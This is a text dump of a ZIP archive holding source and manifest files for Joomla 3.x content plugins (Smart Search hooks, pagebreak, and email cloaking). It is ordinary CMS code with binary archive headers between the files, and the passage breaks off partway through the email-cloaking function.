		$dispatcher->trigger('onFinderBeforeSave', array($context, $article, $isNew));
	}

	/**
	 * Smart Search after delete content method.
	 * Content is passed by reference, but after the deletion.
	 *
	 * @param   string  $context  The context of the content passed to the plugin (added in 1.6).
	 * @param   object  $article  A JTableContent object.
	 *
	 * @return  void
	 *
	 * @since   2.5
	 */
	public function onContentAfterDelete($context, $article)
	{
		$dispatcher = JEventDispatcher::getInstance();
		JPluginHelper::importPlugin('finder');

		// Trigger the onFinderAfterDelete event.
		$dispatcher->trigger('onFinderAfterDelete', array($context, $article));
	}

	/**
	 * Smart Search content state change method.
	 * Method to update the link information for items that have been changed
	 * from outside the edit screen. This is fired when the item is published,
	 * unpublished, archived, or unarchived from the list view.
	 *
	 * @param   string   $context  The context for the content passed to the plugin.
	 * @param   array    $pks      A list of primary key ids of the content that has changed state.
	 * @param   integer  $value    The value of the state that the content has been changed to.
	 *
	 * @return  void
	 *
	 * @since   2.5
	 */
	public function onContentChangeState($context, $pks, $value)
	{
		$dispatcher = JEventDispatcher::getInstance();
		JPluginHelper::importPlugin('finder');

		// Trigger the onFinderChangeState event.
		$dispatcher->trigger('onFinderChangeState', array($context, $pks, $value));
	}

	/**
	 * Smart Search change category state content method.
	 * Method is called when the state of the category to which the
	 * content item belongs is changed.
	 *
	 * @param   string   $extension  The extension whose category has been updated.
	 * @param   array    $pks        A list of primary key ids of the content that has changed state.
	 * @param   integer  $value      The value of the state that the content has been changed to.
	 *
	 * @return  void
	 *
	 * @since   2.5
	 */
	public function onCategoryChangeState($extension, $pks, $value)
	{
		$dispatcher = JEventDispatcher::getInstance();
		JPluginHelper::importPlugin('finder');

		// Trigger the onFinderCategoryChangeState event.
		$dispatcher->trigger('onFinderCategoryChangeState', array($extension, $pks, $value));
	}
}
PK�(]�54س�%content/pagebreak/tmpl/navigation.phpnu�[���<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Content.pagebreak
 *
 * @copyright   (C) 2018 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

$lang = JFactory::getLanguage();
?>
<ul>
	<li>
		<?php if ($links['previous']) :
		$direction = $lang->isRtl() ? 'right' : 'left';
		$title = htmlspecialchars($this->list[$page]->title, ENT_QUOTES, 'UTF-8');
		$ariaLabel = JText::_('JPREVIOUS') . ': ' . $title . ' (' . JText::sprintf('JLIB_HTML_PAGE_CURRENT_OF_TOTAL', $page, $n) . ')';
		?>
		<a href="<?php echo $links['previous']; ?>" title="<?php echo $title; ?>" aria-label="<?php echo $ariaLabel; ?>" rel="prev">
			<?php echo '<span class="icon-chevron-' . $direction . '" aria-hidden="true"></span> ' . JText::_('JPREV'); ?>
		</a>
		<?php endif; ?>
	</li>
	<li>
		<?php if ($links['next']) :
		$direction = $lang->isRtl() ? 'left' : 'right';
		$title = htmlspecialchars($this->list[$page + 2]->title, ENT_QUOTES, 'UTF-8');
		$ariaLabel = JText::_('JNEXT') . ': ' . $title . ' (' . JText::sprintf('JLIB_HTML_PAGE_CURRENT_OF_TOTAL', ($page + 2), $n) . ')';
		?>
		<a href="<?php echo $links['next']; ?>" title="<?php echo $title; ?>" aria-label="<?php echo $ariaLabel; ?>" rel="next">
			<?php echo JText::_('JNEXT') . ' <span class="icon-chevron-' . $direction . '" aria-hidden="true"></span>'; ?>
		</a>
		<?php endif; ?>
	</li>
</ul>
PK�(]f ph��content/pagebreak/tmpl/toc.phpnu�[���<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Content.pagebreak
 *
 * @copyright   (C) 2018 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;
?>
<div class="pull-right article-index">

	<?php if ($headingtext) : ?>
	<h3><?php echo $headingtext; ?></h3>
	<?php endif; ?>

	<ul class="nav nav-tabs nav-stacked">
	<?php foreach ($list as $listItem) : ?>
		<?php $class = $listItem->liClass ? ' class="' . $listItem->liClass . '"' : ''; ?>
		<li<?php echo $class; ?>>
			<a href="<?php echo $listItem->link; ?>" class="<?php echo $listItem->class; ?>">
				<?php echo $listItem->title; ?>
			</a>
		</li>
	<?php endforeach; ?>
	</ul>
</div>
PK�(]��^content/pagebreak/pagebreak.xmlnu�[���<?xml version="1.0" encoding="utf-8"?>
<extension version="3.1" type="plugin" group="content" method="upgrade">
	<name>plg_content_pagebreak</name>
	<author>Joomla! Project</author>
	<creationDate>November 2005</creationDate>
	<copyright>(C) 2005 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.0.0</version>
	<description>PLG_CONTENT_PAGEBREAK_XML_DESCRIPTION</description>
	<files>
		<filename plugin="pagebreak">pagebreak.php</filename>
	</files>
	<languages>
		<language tag="en-GB">en-GB.plg_content_pagebreak.ini</language>
		<language tag="en-GB">en-GB.plg_content_pagebreak.sys.ini</language>
	</languages>
	<config>
		<fields name="params">

			<fieldset name="basic">
				<field
					name="title"
					type="radio"
					label="PLG_CONTENT_PAGEBREAK_SITE_TITLE_LABEL"
					description="PLG_CONTENT_PAGEBREAK_SITE_TITLE_DESC"
					class="btn-group btn-group-yesno"
					default="1"
					filter="integer"
					>
					<option value="1">JSHOW</option>
					<option value="0">JHIDE</option>
				</field>

				<field
					name="article_index"
					type="radio"
					label="PLG_CONTENT_PAGEBREAK_SITE_ARTICLEINDEX_LABEL"
					description="PLG_CONTENT_PAGEBREAK_SITE_ARTICLEINDEX_DESC"
					class="btn-group btn-group-yesno"
					default="1"
					filter="integer"
					>
					<option value="1">JSHOW</option>
					<option value="0">JHIDE</option>
				</field>

				<field
					name="article_index_text"
					type="text"
					label="PLG_CONTENT_PAGEBREAK_SITE_ARTICLEINDEXTEXT"
					description="PLG_CONTENT_PAGEBREAK_SITE_ARTICLEINDEXTEXT_DESC"
					showon="article_index:1"
				/>

				<field
					name="multipage_toc"
					type="radio"
					label="PLG_CONTENT_PAGEBREAK_TOC_LABEL"
					description="PLG_CONTENT_PAGEBREAK_TOC_DESC"
					class="btn-group btn-group-yesno"
					default="1"
					filter="integer"
					>
					<option value="1">JSHOW</option>
					<option value="0">JHIDE</option>
				</field>

				<field
					name="showall"
					type="radio"
					label="PLG_CONTENT_PAGEBREAK_SHOW_ALL_LABEL"
					description="PLG_CONTENT_PAGEBREAK_SHOW_ALL_DESC"
					class="btn-group btn-group-yesno"
					default="1"
					filter="integer"
					>
					<option value="1">JSHOW</option>
					<option value="0">JHIDE</option>
				</field>

				<field
					name="style"
					type="list"
					label="PLG_CONTENT_PAGEBREAK_STYLE_LABEL"
					description="PLG_CONTENT_PAGEBREAK_STYLE_DESC"
					default="pages"
					>
					<option value="pages">PLG_CONTENT_PAGEBREAK_PAGES</option>
					<option value="sliders">PLG_CONTENT_PAGEBREAK_SLIDERS</option>
					<option value="tabs">PLG_CONTENT_PAGEBREAK_TABS</option>
				</field>
			</fieldset>

		</fields>
	</config>
</extension>
PK�(]}$*�%�%content/pagebreak/pagebreak.phpnu�[���<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Content.pagebreak
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\String\StringHelper;

jimport('joomla.utilities.utility');

JLoader::register('ContentHelperRoute', JPATH_SITE . '/components/com_content/helpers/route.php');

/**
 * Page break plugin
 *
 * <b>Usage:</b>
 * <code><hr class="system-pagebreak" /></code>
 * <code><hr class="system-pagebreak" title="The page title" /></code>
 * or
 * <code><hr class="system-pagebreak" alt="The first page" /></code>
 * or
 * <code><hr class="system-pagebreak" title="The page title" alt="The first page" /></code>
 * or
 * <code><hr class="system-pagebreak" alt="The first page" title="The page title" /></code>
 *
 * @since  1.6
 */
class PlgContentPagebreak extends JPlugin
{
	/**
	 * The navigation list with all page objects if parameter 'multipage_toc' is active.
	 *
	 * @var    array
	 * @since  3.9.2
	 */
	protected $list = array();

	/**
	 * Plugin that adds a pagebreak into the text and truncates text at that point
	 *
	 * @param   string   $context  The context of the content being passed to the plugin.
	 * @param   object   &$row     The article object.  Note $article->text is also available
	 * @param   mixed    &$params  The article params
	 * @param   integer  $page     The 'page' number
	 *
	 * @return  mixed  Always returns void or true
	 *
	 * @since   1.6
	 */
	public function onContentPrepare($context, &$row, &$params, $page = 0)
	{
		$canProceed = $context === 'com_content.article';

		if (!$canProceed)
		{
			return;
		}

		$style = $this->params->get('style', 'pages');

		// Expression to search for.
		$regex = '#<hr(.*)class="system-pagebreak"(.*)\/>#iU';

		$input = JFactory::getApplication()->input;

		$print = $input->getBool('print');
		$showall = $input->getBool('showall');

		if (!$this->params->get('enabled', 1))
		{
			$print = true;
		}

		if ($print)
		{
			$row->text = preg_replace($regex, '<br />', $row->text);

			return true;
		}

		// Simple performance check to determine whether bot should process further.
		if (StringHelper::strpos($row->text, 'class="system-pagebreak') === false)
		{
			if ($page > 0)
			{
				throw new Exception(JText::_('JERROR_PAGE_NOT_FOUND'), 404);
			}

			return true;
		}

		$view = $input->getString('view');
		$full = $input->getBool('fullview');

		if (!$page)
		{
			$page = 0;
		}

		if ($full || $view !== 'article' || $params->get('intro_only') || $params->get('popup'))
		{
			$row->text = preg_replace($regex, '', $row->text);

			return;
		}

		// Load plugin language files only when needed (ex: not needed if no system-pagebreak class exists).
		$this->loadLanguage();

		// Find all instances of plugin and put in $matches.
		$matches = array();
		preg_match_all($regex, $row->text, $matches, PREG_SET_ORDER);

		if ($showall && $this->params->get('showall', 1))
		{
			$hasToc = $this->params->get('multipage_toc', 1);

			if ($hasToc)
			{
				// Display TOC.
				$page = 1;
				$this->_createToc($row, $matches, $page);
			}
			else
			{
				$row->toc = '';
			}

			$row->text = preg_replace($regex, '<br />', $row->text);

			return true;
		}

		// Split the text around the plugin.
		$text = preg_split($regex, $row->text);

		if (!isset($text[$page]))
		{
			throw new Exception(JText::_('JERROR_PAGE_NOT_FOUND'), 404);
		}

		// Count the number of pages.
		$n = count($text);

		// We have found at least one plugin, therefore at least 2 pages.
		if ($n > 1)
		{
			$title  = $this->params->get('title', 1);
			$hasToc = $this->params->get('multipage_toc', 1);

			// Adds heading or title to <site> Title.
			if ($title && $page && isset($matches[$page - 1][0]))
			{
				$attrs = JUtility::parseAttributes($matches[$page - 1][0]);

				if (isset($attrs['title']))
				{
					$row->page_title = $attrs['title'];
				}
			}

			// Reset the text, we already hold it in the $text array.
			$row->text = '';

			if ($style === 'pages')
			{
				// Display TOC.
				if ($hasToc)
				{
					$this->_createToc($row, $matches, $page);
				}
				else
				{
					$row->toc = '';
				}

				// Traditional mos page navigation
				$pageNav = new JPagination($n, $page, 1);

				// Flag indicates to not add limitstart=0 to URL
				$pageNav->hideEmptyLimitstart = true;

				// Page counter.
				$row->text .= '<div class="pagenavcounter">';
				$row->text .= $pageNav->getPagesCounter();
				$row->text .= '</div>';

				// Page text.
				$text[$page] = str_replace('<hr id="system-readmore" />', '', $text[$page]);
				$row->text .= $text[$page];

				// $row->text .= '<br />';
				$row->text .= '<div class="pager">';

				// Adds navigation between pages to bottom of text.
				if ($hasToc)
				{
					$this->_createNavigation($row, $page, $n);
				}

				// Page links shown at bottom of page if TOC disabled.
				if (!$hasToc)
				{
					$row->text .= $pageNav->getPagesLinks();
				}

				$row->text .= '</div>';
			}
			else
			{
				$t[] = $text[0];

				$t[] = (string) JHtml::_($style . '.start', 'article' . $row->id . '-' . $style);

				foreach ($text as $key => $subtext)
				{
					if ($key >= 1)
					{
						$match = $matches[$key - 1];
						$match = (array) JUtility::parseAttributes($match[0]);

						if (isset($match['alt']))
						{
							$title = stripslashes($match['alt']);
						}
						elseif (isset($match['title']))
						{
							$title = stripslashes($match['title']);
						}
						else
						{
							$title = JText::sprintf('PLG_CONTENT_PAGEBREAK_PAGE_NUM', $key + 1);
						}

						$t[] = (string) JHtml::_($style . '.panel', $title, 'article' . $row->id . '-' . $style . $key);
					}

					$t[] = (string) $subtext;
				}

				$t[] = (string) JHtml::_($style . '.end');

				$row->text = implode(' ', $t);
			}
		}

		return true;
	}

	/**
	 * Creates a Table of Contents for the pagebreak
	 *
	 * @param   object   &$row      The article object.  Note $article->text is also available
	 * @param   array    &$matches  Array of matches of a regex in onContentPrepare
	 * @param   integer  &$page     The 'page' number
	 *
	 * @return  void
	 *
	 * @since  1.6
	 */
	protected function _createToc(&$row, &$matches, &$page)
	{
		$heading     = isset($row->title) ? $row->title : JText::_('PLG_CONTENT_PAGEBREAK_NO_TITLE');
		$input       = JFactory::getApplication()->input;
		$limitstart  = $input->getUInt('limitstart', 0);
		$showall     = $input->getInt('showall', 0);
		$headingtext = '';

		if ($this->params->get('article_index', 1) == 1)
		{
			$headingtext = JText::_('PLG_CONTENT_PAGEBREAK_ARTICLE_INDEX');

			if ($this->params->get('article_index_text'))
			{
				$headingtext = htmlspecialchars($this->params->get('article_index_text'), ENT_QUOTES, 'UTF-8');
			}
		}

		// TOC first Page link.
		$this->list[1]          = new stdClass;
		$this->list[1]->liClass = ($limitstart === 0 && $showall === 0) ? 'toclink active' : 'toclink';
		$this->list[1]->class   = $this->list[1]->liClass;
		$this->list[1]->link    = JRoute::_(ContentHelperRoute::getArticleRoute($row->slug, $row->catid, $row->language));
		$this->list[1]->title   = $heading;

		$i = 2;

		foreach ($matches as $bot)
		{
			if (@$bot[0])
			{
				$attrs2 = JUtility::parseAttributes($bot[0]);

				if (@$attrs2['alt'])
				{
					$title = stripslashes($attrs2['alt']);
				}
				elseif (@$attrs2['title'])
				{
					$title = stripslashes($attrs2['title']);
				}
				else
				{
					$title = JText::sprintf('PLG_CONTENT_PAGEBREAK_PAGE_NUM', $i);
				}
			}
			else
			{
				$title = JText::sprintf('PLG_CONTENT_PAGEBREAK_PAGE_NUM', $i);
			}

			$this->list[$i]          = new stdClass;
			$this->list[$i]->link    = JRoute::_(ContentHelperRoute::getArticleRoute($row->slug, $row->catid, $row->language) . '&limitstart=' . ($i - 1));
			$this->list[$i]->title   = $title;
			$this->list[$i]->liClass = ($limitstart === $i - 1) ? 'active' : '';
			$this->list[$i]->class   = ($limitstart === $i - 1) ? 'toclink active' : 'toclink';

			$i++;
		}

		if ($this->params->get('showall'))
		{
			$this->list[$i]          = new stdClass;
			$this->list[$i]->link    = JRoute::_(ContentHelperRoute::getArticleRoute($row->slug, $row->catid, $row->language) . '&showall=1');
			$this->list[$i]->liClass = ($showall === 1) ? 'active' : '';
			$this->list[$i]->class   = ($showall === 1) ? 'toclink active' : 'toclink';
			$this->list[$i]->title   = JText::_('PLG_CONTENT_PAGEBREAK_ALL_PAGES');
		}

		$list = $this->list;
		$path = JPluginHelper::getLayoutPath('content', 'pagebreak', 'toc');
		ob_start();
		include $path;
		$row->toc = ob_get_clean();
	}

	/**
	 * Creates the navigation for the item
	 *
	 * @param   object  &$row  The article object.  Note $article->text is also available
	 * @param   int     $page  The page number
	 * @param   int     $n     The total number of pages
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	protected function _createNavigation(&$row, $page, $n)
	{
		$links = array(
			'next' => '',
			'previous' => ''
		);

		if ($page < $n - 1)
		{
			$links['next'] = JRoute::_(ContentHelperRoute::getArticleRoute($row->slug, $row->catid, $row->language) . '&limitstart=' . ($page + 1));
		}

		if ($page > 0)
		{
			$links['previous'] = ContentHelperRoute::getArticleRoute($row->slug, $row->catid, $row->language);

			if ($page > 1)
			{
				$links['previous'] .= '&limitstart=' . ($page - 1);
			}

			$links['previous'] = JRoute::_($links['previous']);
		}

		$path = JPluginHelper::getLayoutPath('content', 'pagebreak', 'navigation');
		ob_start();
		include $path;
		$row->text .= ob_get_clean();
	}
}
PK�(](q���!content/emailcloak/emailcloak.xmlnu�[���<?xml version="1.0" encoding="utf-8"?>
<extension version="3.1" type="plugin" group="content" method="upgrade">
	<name>plg_content_emailcloak</name>
	<author>Joomla! Project</author>
	<creationDate>November 2005</creationDate>
	<copyright>(C) 2005 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.0.0</version>
	<description>PLG_CONTENT_EMAILCLOAK_XML_DESCRIPTION</description>
	<files>
		<filename plugin="emailcloak">emailcloak.php</filename>
	</files>
	<languages>
		<language tag="en-GB">en-GB.plg_content_emailcloak.ini</language>
		<language tag="en-GB">en-GB.plg_content_emailcloak.sys.ini</language>
	</languages>
	<config>
		<fields name="params">
			<fieldset name="basic">
				<field
					name="mode"
					type="list"
					label="PLG_CONTENT_EMAILCLOAK_MODE_LABEL"
					description="PLG_CONTENT_EMAILCLOAK_MODE_DESC"
					default="1"
					filter="integer"
					>
					<option value="0">PLG_CONTENT_EMAILCLOAK_NONLINKABLE</option>
					<option value="1">PLG_CONTENT_EMAILCLOAK_LINKABLE</option>
				</field>
			</fieldset>
		</fields>
	</config>
</extension>
PK�(]tKh��D�D!content/emailcloak/emailcloak.phpnu�[���<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Content.emailcloak
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\String\StringHelper;

/**
 * Email cloack plugin class.
 *
 * @since  1.5
 */
class PlgContentEmailcloak extends JPlugin
{
	/**
	 * Plugin that cloaks all emails in content from spambots via Javascript.
	 *
	 * @param   string   $context  The context of the content being passed to the plugin.
	 * @param   mixed    &$row     An object with a "text" property or the string to be cloaked.
	 * @param   mixed    &$params  Additional parameters. See {@see PlgContentEmailcloak()}.
	 * @param   integer  $page     Optional page number. Unused. Defaults to zero.
	 *
	 * @return  boolean	True on success.
	 */
	public function onContentPrepare($context, &$row, &$params, $page = 0)
	{
		// Don't run this plugin when the content is being indexed
		if ($context === 'com_finder.indexer')
		{
			return true;
		}

		if (is_object($row))
		{
			return $this->_cloak($row->text, $params);
		}

		return $this->_cloak($row, $params);
	}

	/**
	 * Generate a search pattern based on link and text.
	 *
	 * @param   string  $link  The target of an email link.
	 * @param   string  $text  The text enclosed by the link.
	 *
	 * @return  string	A regular expression that matches a link containing the parameters.
	 */
	protected function _getPattern ($link, $text)
	{
		$pattern = '~(?:<a ([^>]*)href\s*=\s*"mailto:' . $link . '"([^>]*))>' . $text . '</a>~i';

		return $pattern;
	}

	/**
	 * Adds an attributes to the js cloaked email.
	 *
	 * @param   string  $jsEmail  Js cloaked email.
	 * @param   string  $before   Attributes before email.
	 * @param   string  $after    Attributes after email.
	 *
	 * @return string Js cloaked email with attributes.
	 */
	protected function _addAttributesToEmail($jsEmail, $before, $after)
	{
		if ($before !== '')
		{
			$before = str_replace("'", "\'", $before);
			$jsEmail = str_replace(".innerHTML += '<a '", ".innerHTML += '<a {$before}'", $jsEmail);
		}

		if ($after !== '')
		{
			$after = str_replace("'", "\'", $after);
			$jsEmail = str_replace("'\'>'", "'\'{$after}>'", $jsEmail);
		}

		return $jsEmail;
	}

	/**
	 * Cloak all emails in text from spambots via Javascript.
	 *
	 * @param   string  &$text    The string to be cloaked.
	 * @param   mixed   &$params  Additional parameters. Parameter "mode" (integer, default 1)
	 *                             replaces addresses with "mailto:" links if nonzero.
	 *
	 * @return  boolean  True on success.
	 */
	protected function _cloak(&$text, &$params)
	{
		/*
		 * Check for presence of {emailcloak=off} which is explicits disables this
		 * bot for the item.
		 */
		if (StringHelper::strpos($text, '{emailcloak=off}') !== false)
		{
			$text = StringHelper::str_ireplace('{emailcloak=off}', '', $text);

			return true;
		}

		// Simple performance check to determine whether bot should process further.
		if (StringHelper::strpos($text, '@') === false)
		{
			return true;
		}

		$mode = $this->params->def('mode', 1);

		// Example: any@example.org
		$searchEmail = '([\w\.\'\-\+]+\@(?:[a-z0-9\.\-]+\.)+(?:[a-zA-Z0-9\-]{2,24}))';

		// Example: any@example.org?subject=anyText
		$searchEmailLink = $searchEmail . '([?&][\x20-\x7f][^"<>]+)';

		// Any Text
		$searchText = '((?:[\x20-\x7f]|[\xA1-\xFF]|[\xC2-\xDF][\x80-\xBF]|[\xE0-\xEF][\x80-\xBF]{2}|[\xF0-\xF4][\x80-\xBF]{3})[^<>]+)';

		// Any Image link
		$searchImage = '(<img[^>]+>)';

		// Any Text with <span or <strong
		$searchTextSpan = '(<span[^>]+>|<span>|<strong>|<strong><span[^>]+>|<strong><span>)' . $searchText . '(</span>|</strong>|</span></strong>)';

		// Any address with <span or <strong
		$searchEmailSpan = '(<span[^>]+>|<span>|<strong>|<strong><span[^>]+>|<strong><span>)' . $searchEmail . '(</span>|</strong>|</span></strong>)';

		/*
		 * Search and fix derivatives of link code <a href="http://mce_host/ourdirectory/email@example.org"
		 * >email@example.org</a>. This happens when inserting an email in TinyMCE, cancelling its suggestion to add
		 * the mailto: prefix...
		 */
		$pattern = $this->_getPattern($searchEmail, $searchEmail);
		$pattern = str_replace('"mailto:', '"http://mce_host([\x20-\x7f][^<>]+/)', $pattern);

		while (preg_match($pattern, $text, $regs, PREG_OFFSET_CAPTURE))
		{
			$mail = $regs[3][0];
			$mailText = $regs[5][0];

			// Check to see if mail text is different from mail addy
			$replacement = JHtml::_('email.cloak', $mail, $mode, $mailText);

			// Ensure that attributes is not stripped out by email cloaking
			$replacement = $this->_addAttributesToEmail($replacement, $regs[1][0], $regs[4][0]);

			// Replace the found address with the js cloaked email
			$text = substr_replace($text, $replacement, $regs[0][1], strlen($regs[0][0]));
		}

		/*
		 * Search and fix derivatives of link code <a href="http://mce_host/ourdirectory/email@example.org"
		 * >anytext</a>. This happens when inserting an email in TinyMCE, cancelling its suggestion to add
		 * the mailto: prefix...
		 */
		$pattern = $this->_getPattern($searchEmail, $searchText);
		$pattern = str_replace('"mailto:', '"http://mce_host([\x20-\x7f][^<>]+/)', $pattern);

		while (preg_match($pattern, $text, $regs, PREG_OFFSET_CAPTURE))
		{
			$mail = $regs[3][0];
			$mailText = $regs[5][0];

			// Check to see if mail text is different from mail addy
			$replacement = JHtml::_('email.cloak', $mail, $mode, $mailText, 0);

			// Ensure that attributes is not stripped out by email cloaking
			$replacement = $this->_addAttributesToEmail($replacement, $regs[1][0], $regs[4][0]);

			// Replace the found address with the js cloaked email
			$text = substr_replace($text, $replacement, $regs[0][1], strlen($regs[0][0]));
		}

		/*
		 * Search for derivatives of link code <a href="mailto:email@example.org"
		 * >email@example.org</a>
		 */
		$pattern = $this->_getPattern($searchEmail, $searchEmail);

		while (preg_match($pattern, $text, $regs, PREG_OFFSET_CAPTURE))
		{
			$mail = $regs[2][0];
			$mailText = $regs[4][0];

			// Check to see if mail text is different from mail addy
			$replacement = JHtml::_('email.cloak', $mail, $mode, $mailText);

			// Ensure that attributes is not stripped out by email cloaking
			$replacement = $this->_addAttributesToEmail($replacement, $regs[1][0], $regs[3][0]);

			// Replace the found address with the js cloaked email
			$text = substr_replace($text, $replacement, $regs[0][1], strlen($regs[0][0]));
		}

		/*
		 * Search for derivatives of link code <a href="mailto:email@amail.com"
		 * ><anyspan >email@amail.com</anyspan></a>
		 */
		$pattern = $this->_getPattern($searchEmail, $searchEmailSpan);

		while (preg_match($pattern, $text, $regs, PREG_OFFSET_CAPTURE))
		{
			$mail = $regs[2][0];
			$mailText = $regs[4][0] . $regs[5][0] . $regs[6][0];

			// Check to see if mail text is different from mail addy
			$replacement = JHtml::_('email.cloak', $mail, $mode, $mailText);

			// Ensure that attributes is not stripped out by email cloaking
			$replacement = html_entity_decode($this->_addAttributesToEmail($replacement, $regs[1][0], $regs[3][0]));

			// Replace the found address with the js cloaked email
			$text = substr_replace($text, $replacement, $regs[0][1], strlen($regs[0][0]));
		}

		/*
		 * Search for derivatives of link code <a href="mailto:email@amail.com">
		 * <anyspan >anytext</anyspan></a>
		 */
		$pattern = $this->_getPattern($searchEmail, $searchTextSpan);

		while (preg_match($pattern, $text, $regs, PREG_OFFSET_CAPTURE))
		{
			$mail = $regs[2][0];
			$mailText = $regs[4][0] . addslashes($regs[5][0]) . $regs[6][0];

			$replacement = JHtml::_('email.cloak', $mail, $mode, $mailText, 0);

			// Ensure that attributes is not stripped out by email cloaking
			$replacement = html_entity_decode($this->_addAttributesToEmail($replacement, $regs[1][0], $regs[3][0]));

			// Replace the found address with the js cloaked email
			$text = substr_replace($text, $replacement, $regs[0][1], strlen($regs[0][0]));
		}

		/*
		 * Search for derivatives of link code <a href="mailto:email@example.org">
		 * anytext</a>
		 */
		$pattern = $this->_getPattern($searchEmail, $searchText);

		while (preg_match($pattern, $text, $regs, PREG_OFFSET_CAPTURE))
		{
			$mail = $regs[2][0];
			$mailText = addslashes($regs[4][0]);

			$replacement = JHtml::_('email.cloak', $mail, $mode, $mailText, 0);

			// Ensure that attributes is not stripped out by email cloaking
			$replacement = $this->_addAttributesToEmail($replacement, $regs[1][0], $regs[3][0]);

			// Replace the found address with the js cloaked email
			$text = substr_replace($text, $replacement, $regs[0][1], strlen($regs[0][0]));
		}

		/*
		 * Search for derivatives of link code <a href="mailto:email@example.org">
		 * <img anything></a>
		 */
		$pattern = $this->_getPattern($searchEmail, $searchImage);

		while (preg_match($pattern, $text, $regs, PREG_OFFSET_CAPTURE))
		{
			$mail = $regs[2][0];
			$mailText = $regs[4][0];

			$replacement = JHtml::_('email.cloak', $mail, $mode, $mailText, 0);

			// Ensure that attributes is not stripped out by email cloaking
			$replacement = html_entity_decode($this->_addAttributesToEmail($replacement, $regs[1][0], $regs[3][0]));

			// Replace the found address with the js cloaked email
			$text = substr_replace($text, $replacement, $regs[0][1], strlen($regs[0][0]));
		}

		/*
		 * Search for derivatives of link code <a href="mailto:email@example.org">
		 * <img anything>email@example.org</a>
		 */
		$pattern = $this->_getPattern($searchEmail, $searchImage . $searchEmail);

		while (preg_match($pattern, $text, $regs, PREG_OFFSET_CAPTURE))
		{
			$mail = $regs[2][0];
			$mailText = $regs[4][0] . $regs[5][0];

			$replacement = JHtml::_('email.cloak', $mail, $mode, $mailText);

			// Ensure that attributes is not stripped out by email cloaking
			$replacement = html_entity_decode($this->_addAttributesToEmail($replacement, $regs[1][0], $regs[3][0]));

			// Replace the found address with the js cloaked email
			$text = substr_replace($text, $replacement, $regs[0][1], strlen($regs[0][0]));
		}

		/*
		 * Search for derivatives of link code <a href="mailto:email@example.org">
		 * <img anything>any text</a>
		 */
		$pattern = $this->_getPattern($searchEmail, $searchImage . $searchText);

		while (preg_match($pattern, $text, $regs, PREG_OFFSET_CAPTURE))
		{
			$mail = $regs[2][0];
			$mailText = $regs[4][0] . addslashes($regs[5][0]);

			$replacement = JHtml::_('email.cloak', $mail, $mode, $mailText, 0);

			// Ensure that attributes is not stripped out by email cloaking
			$replacement = html_entity_decode($this->_addAttributesToEmail($replacement, $regs[1][0], $regs[3][0]));

			// Replace the found address with the js cloaked email
			$text = substr_replace($text, $replacement, $regs[0][1], strlen($regs[0][0]));
		}

		/*
		 * Search for derivatives of link code <a href="mailto:email@example.org?
		 * subject=Text">email@example.org</a>
		 */
		$pattern = $this->_getPattern($searchEmailLink, $searchEmail);

		while (preg_match($pattern, $text, $regs, PREG_OFFSET_CAPTURE))
		{
			$mail = $regs[2][0] . $regs[3][0];
			$mailText = $regs[5][0];

			// Needed for handling of Body parameter
			$mail = str_replace('&amp;', '&', $mail);

			// Check to see if mail text is different from mail addy
			$replacement = JHtml::_('email.cloak', $mail, $mode, $mailText);

			// Ensure that attributes is not stripped out by email cloaking
			$replacement = $this->_addAttributesToEmail($replacement, $regs[1][0], $regs[4][0]);

			// Replace the found address with the js cloaked email
			$text = substr_replace($text, $replacement, $regs[0][1], strlen($regs[0][0]));
		}

		/*
		 * Search for derivatives of link code <a href="mailto:email@example.org?
		 * subject=Text">anytext</a>
		 */
		$pattern = $this->_getPattern($searchEmailLink, $searchText);

		while (preg_match($pattern, $text, $regs, PREG_OFFSET_CAPTURE))
		{
			$mail = $regs[2][0] . $regs[3][0];
			$mailText = addslashes($regs[5][0]);

			// Needed for handling of Body parameter
			$mail = str_replace('&amp;', '&', $mail);

			$replacement = JHtml::_('email.cloak', $mail, $mode, $mailText, 0);

			// Ensure that attributes is not stripped out by email cloaking
			$replacement = $this->_addAttributesToEmail($replacement, $regs[1][0], $regs[4][0]);

			// Replace the found address with the js cloaked email
			$text = substr_replace($text, $replacement, $regs[0][1], strlen($regs[0][0]));
		}

		/*
		 * Search for derivatives of link code <a href="mailto:email@amail.com?subject= Text"
		 * ><anyspan >email@amail.com</anyspan></a>
		 */
		$pattern = $this->_getPattern($searchEmailLink, $searchEmailSpan);

		while (preg_match($pattern, $text, $regs, PREG_OFFSET_CAPTURE))
		{
			$mail = $regs[2][0] . $regs[3][0];
			$mailText = $regs[5][0] . $regs[6][0] . $regs[7][0];

			// Check to see if mail text is different from mail addy
			$replacement = JHtml::_('email.cloak', $mail, $mode, $mailText);

			// Ensure that attributes is not stripped out by email cloaking
			$replacement = html_entity_decode($this->_addAttributesToEmail($replacement, $regs[1][0], $regs[4][0]));

			// Replace the found address with the js cloaked email
			$text = substr_replace($text, $replacement, $regs[0][1], strlen($regs[0][0]));
		}

		/*
		 * Search for derivatives of link code <a href="mailto:email@amail.com?subject= Text">
		 * <anyspan >anytext</anyspan></a>
		 */
		$pattern = $this->_getPattern($searchEmailLink, $searchTextSpan);

		while (preg_match($pattern, $text, $regs, PREG_OFFSET_CAPTURE))
		{
			$mail = $regs[2][0] . $regs[3][0];
			$mailText = $regs[5][0] . addslashes($regs[6][0]) . $regs[7][0];

